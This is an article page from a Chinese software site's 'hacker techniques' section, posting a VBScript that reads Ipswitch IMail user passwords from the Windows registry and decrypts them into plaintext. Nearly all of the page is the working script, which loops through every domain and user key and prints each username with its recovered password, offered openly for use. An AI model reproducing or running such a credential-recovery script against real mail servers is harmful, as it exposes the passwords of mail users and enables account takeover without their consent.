您的位置: 飞扬精品软件园 >> 文章中心 >> 安全防线 >> 黑客技术 >> Imail密码解密脚本

相关文章链接

本类文章排行

最新新闻资讯

    Imail密码解密脚本

    Imail密码解密脚本


    • 阅览次数: 文章来源: 原文作者: 整理日期: 2010-05-22

    这是一段脚本代码,可以从注册表中读取imail的密码并解密

    网上有现成的工具用着不放心  看了下解密挺简单 就写了个vbs脚本方便使用

    自动从注册表中读取并解密

    ‘imail password decrypt
    ‘code by tyw7  2009-4-15
    ‘http://www.tyw7.cn

    on error resume next
    const HKEY_LOCAL_MACHINE = &H80000002
    strComputer = “.”
    Set oReg=GetObject(”winmgmts:{impersonationLevel=impersonate}!\\” &_
    strComputer & “\root\default:StdRegProv”)
    strKeyPath = “SOFTWARE\Ipswitch\IMail\Domains”
    oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, arrSubKeys
    For Each subkey In arrSubKeys
    wscript.echo “Domain: “&subkey
    strKeyPath2 = strKeyPath&”\”&subkey&”\Users”
    oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath2, arrSubKeys2
    For Each subkey2 In arrSubKeys2
    strKeyPath3=strKeyPath2&”\”&subkey2
    strValueName = “Password”
    oReg.GetStringValue HKEY_LOCAL_MACHINE,strKeyPath3,strValueName,strValue
    if len(subkey2) and len(strValue) then
    wscript.echo subkey2 &” : ” & decrypt(subkey2,strValue)
    end if
    Next
    Next

    function decrypt(name,pass)
    while len(name)<len(pass)/2
    name=name&name
    wend
    for i=0 to len(pass)/2-1
    p=mid(pass,2*i+1,2)
    p=”&H”&p
    n=mid(name,i+1,1)
    decrypt=decrypt&chr(clng(p)-asc(n))
    next
    end function


查看所有评论

网友对Imail密码解密脚本的评论

网名:
主题:
内容:
验证码: